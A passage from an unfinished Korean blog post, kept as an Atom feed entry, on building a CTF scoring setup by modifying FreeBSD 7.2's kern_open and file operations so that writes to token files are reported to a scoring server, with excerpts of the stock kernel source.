수 있을 것 같다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;b&gt;유저 레벨에서의 구현&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;토큰이 덮어 쓰여진 걸 검출하기 위해 서버가 일정 주기로 토큰 파일이 업데이트 되어 있는지 감시할 수 있어야 하며, 덮어씌워졌을 경우 원래대로 복구를 해주어야 한다.&lt;/div&gt;&lt;div&gt;&amp;nbsp;유저레벨에서 이를 구현하자면 많은 문제가 발생한다. 먼저, 커널에서의 도움이 없다면, Race Condition이 발생할 수 있다( 점수를 관리하는 서버에서 토큰이 덮어씌워졌는지를 검사하기 직전에, 마침 두 팀이 동시에 토큰을 덮어 쓴다면, 뒤에 덮어쓴 한 팀만 점수가 오를 수 있다). 둘째로, 이 검츨하는 프로그램이 유저레벨에서 작동하기 &amp;nbsp;때문에 어떤 천재 해커가 이 데몬을 순식간에 분석해버릴 가능성이 있다는 게 문제다. 만약 분석에 성공하면 자기 팀 토큰은 덮어 씌여졌음에도 불구하고 서버에서는 안덮어씌여진 걸로 인식하게 Fake를 쓸 수가 있고, 프로토콜을 추가로 분석해서 마치 덮어쓰는 데 성공한 것처럼 훼이크 패킷을 날릴 수도 있는거다.&lt;/div&gt;&lt;div&gt;&amp;nbsp;만일 커널의 도움을 받는다 해도, 이 두 번째 문제는 피할 수 없을 것이다. 유저레벨에서 프로그램이 돌아가기 위해선 커널 내에 어딘가에는 이 프로그램에 대한 정보가 담겨있을 수 밖에 없다. 그러면 수많은 시스템콜을 통해 이에 접근해 프로세스에 담긴 정보를 꺼내올 수 있는 건데, 이런 방법들을 모두 알아내서 막는 건 쉽지 않다. 즉, 커널레벨 프로그램의 도움을 받아도 천재해커는 어떻게 해서든 유저레벨 데몬을 분석할 수 있다는 것이다. 그럼 가능한 답은 한 가지이다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;커널 레벨에서의 구현&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;커널레벨에서의 구현은 어렵다는 문제 빼면 유저레벨에서 구현하는 것 몇 배로 낫다고 볼 수 있겠다. 애초에 커널레벨 프로그램 분석은 오래 걸리기 때문에 시간 낭비가 크다. 뿐만 아니라 유저가 커널모드에서 돌아가는 프로그램들을 수정할 수 없게 만들면 패치도 힘들다. 즉, 1. 드라이버 못 올리게 막고, 2. /dev/mem과 같은 raw메모리 보여주는 파일도 막으면,커널 바이너리석 -&amp;gt; 커널 수정 후 재부팅하는 방법외에는 커널레벨 프로그램을 수정할 방법이 없는데 이는 서비스 가동 레벨을 떨어트려 점수에 치명적일 수 있다. 즉, 이 프로그램을 분석하는 게 다른 거 분석하는 거에 비해 훨씬 불리하기 때문에 참가자가 이 프로그램을 분석하는 걸 효과적으로 막을 수 있다는 것이다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;기본 전략은 다음과 같다.&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;가상화일시스템(vfs)에서 파일에 기록하는 함수를 수정&lt;/li&gt;&lt;li&gt;/dev/디렉토리의 파일은 액세스 불가능하게 만듦. 근데 만약 여기서 액세스하는 파일이 토큰파일이면&lt;/li&gt;&lt;li&gt;실제로 파일에 쓰지는 않으며, 대신 서버로 인증패킷을 보냄. 단, 이 인증패킷은 암호학적으로 잘 설계(?)돼서 훼이크를 칠 수 없게 만들어졌어야 함&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;font class="Apple-style-span" color="#999999"&gt;일단 이전 Defcon CTF 서버 세팅을 재현하는 것이 목표이므로 FreeBSD 7.2커널을 수정한다.&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;소스를 수정하기 위해 필요한 정보 얻기&lt;/b&gt;&lt;/div&gt;&lt;div&gt;소스가 매우 방대하기 때문에 어느 구조체가 어느 파일에 정의되어 있는지 찾는 것은 매우 어렵다. 그래서 이를 위해서 &lt;span class="Apple-style-span" style="font-family: 굴림; font-size: 13px; line-height: 19px; "&gt;&lt;span class="Apple-style-span" style="font-family: Dotum; font-size: 12px; line-height: 16px; "&gt;&lt;a href="http://fxr.watson.org" target="_blank"&gt;http://fxr.watson.org&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: 굴림; font-size: 13px; line-height: 19px; "&gt;&amp;nbsp;을 이용하였다. 이 홈페이지에는 각 심볼이 어디에 정의되어 있고 어디에서 참조하는 지 매우 잘 정리되어있다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;kern/vfs_syscalls.c 안에 시스템 콜 open이 구현되어 있다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="padding:10px;background-color:#f4f4f4;border:1px solid #cccccc;"&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1000 open(td, uap)&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1001 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct thread *td;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1002 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; register struct open_args /* {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1003 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char *path;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1004 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int flags;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1005 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int mode;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1006 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } */ *uap;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1007 {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1008&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1009 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return &lt;b&gt;kern_open&lt;/b&gt;(td, uap-&amp;gt;path, UIO_USERSPACE, uap-&amp;gt;flags, uap-&amp;gt;mode);&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;1010 }&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;여기에서 내부적으로 kern_open을 호출하는 것을 알 수 있다. 같은 파일안에 kern_open이 구현되어 있다. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="padding:10px;background-color:#f4f4f4;border:1px solid #cccccc;"&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1012 int&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1013 kern_open(struct thread *td, char *path, enum uio_seg pathseg, int flags,&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1014 &amp;nbsp; &amp;nbsp; int mode)&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1015 {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1016 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct proc *p = td-&amp;gt;td_proc;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1017 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct filedesc *fdp = p-&amp;gt;p_fd;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1018 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="Apple-style-span" style="background-color: rgb(255, 255, 0);"&gt;&lt;b&gt;struct file *fp;&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1019 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct vnode *vp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1020 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct vattr vat;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1021 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct mount *mp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1022 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int cmode;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1023 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct file *nfp;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="GulimChe, sans-serif"&gt;1024 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int type, indx, error;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;여기서 노랗게 칠한 변수가 커널에서 파일을 관리하는 구조체이다. sys/file.h에 들어있다.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="padding:10px;background-color:#ffffff;border:1px solid #cccccc;"&gt;&lt;div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe"&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;109 struct file {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;110 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LIST_ENTRY(file) f_list;/* (fl) list of active files */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;111 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; short &amp;nbsp; f_type; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* descriptor type */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;112 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; void &amp;nbsp; &amp;nbsp;*f_data; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* file descriptor specific data */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;113 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; u_int &amp;nbsp; f_flag; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* see fcntl.h */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;114 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct mtx &amp;nbsp; &amp;nbsp; &amp;nbsp;*f_mtxp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* mutex to protect data */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;115 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;&lt;span class="Apple-style-span" style="background-color: rgb(255, 255, 0);"&gt;struct fileops *f_ops;&lt;/span&gt;&lt;/b&gt; &amp;nbsp;/* File operations */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;116 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct &amp;nbsp;ucred *f_cred; &amp;nbsp;/* credentials associated with descriptor */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;117 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int &amp;nbsp; &amp;nbsp; f_count; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* (f) reference count */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;118 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct vnode *f_vnode; &amp;nbsp;/* NULL or applicable vnode */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;여기에서, f_ops는 read, write, create와 같은 파일 다루는 함수의 포인터를 담고있는 스트럭처인 fileops를 가리키는 포인터이다. 여기에 들어있는 값을 변형시킴으로써, 우리의 임무를 완수할 수 있다. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="padding:10px;background-color:#ffffff;border:1px solid #cccccc;"&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;83 struct fileops {&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;84 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_rdwr_t &amp;nbsp; &amp;nbsp; &amp;nbsp; *fo_read;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;85 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_rdwr_t &amp;nbsp; &amp;nbsp; &amp;nbsp; *fo_write;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;86 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_ioctl_t &amp;nbsp; &amp;nbsp; &amp;nbsp;*fo_ioctl;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;87 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_poll_t &amp;nbsp; &amp;nbsp; &amp;nbsp; *fo_poll;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;88 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_kqfilter_t &amp;nbsp; *fo_kqfilter;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;89 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_stat_t &amp;nbsp; &amp;nbsp; &amp;nbsp; *fo_stat;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;90 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_close_t &amp;nbsp; &amp;nbsp; &amp;nbsp;*fo_close;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;91 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fo_flags_t &amp;nbsp; &amp;nbsp; &amp;nbsp;fo_flags; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* DFLAG_* below */&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;92 };&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;fileops는 같은 파일 안에 위와 같이 정의되어 있다. 여기서 관심을 가져야 할 부분은 fo_rdwr_t이다. 이것은 sys/file.h에 정의되어 있다.&lt;br /&gt;&lt;div style="padding:10px;background-color:#ffffff;border:1px solid #cccccc;"&gt;&lt;div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;69 typedef int fo_rdwr_t(struct file *fp, struct uio *uio,&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;70 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct ucred *active_cred, int flags,&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="DotumChe, sans-serif"&gt;&amp;nbsp;71 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; struct thread *td);&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;필요한 정보는 대강 모인 것 같다. 이제 우리가 할 일은, kern_open함수를 수정해서 path가 관리해야하는 파일을 가리킨다면, open시에 생성된 파일 구조체를 수정해서, 즉 fp-&amp;gt;f_ops-&amp;gt;fo_write에 우리가 특별히 제작한 서버로 패킷을 보내는 기능을 하는 함수의 주소를 넣도록 하는 것이다. 그럼 이제 이걸 어떻게 수정할 수 있을 지 알아보자. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;fp 구조체는 위에서 등장한 kern_open 함수에서 초기화 된다. 초기화 되는 과정 중, 특별히 눈여겨 볼, fp-&amp;gt;f_ops 변수가 초기화되는 부분을 살펴보자.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;작성중입니다..&lt;/font&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4767372580884904177-3062789340248357190?l=nyam-textcube.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nyam-textcube.blogspot.com/feeds/3062789340248357190/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://nyam-textcube.blogspot.com/2009/07/ctf-%EA%B2%8C%EC%9E%84%EC%9D%84-%EC%9C%84%ED%95%9C-%ED%99%98%EA%B2%BD-%EC%84%A4%EC%A0%95.html#comment-form' title='1개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/3062789340248357190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4767372580884904177/posts/default/3062789340248357190'/><link rel='alternate' type='text/html' href='http://nyam-textcube.blogspot.com/2009/07/ctf-%EA%B2%8C%EC%9E%84%EC%9D%84-%EC%9C%84%ED%95%9C-%ED%99%98%EA%B2%BD-%EC%84%A4%EC%A0%95.html' title='CTF 게임을 위한 환경 설정'/><author><name>nyamnyam</name><uri>http://www.blogger.com/profile/02988925197666068481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
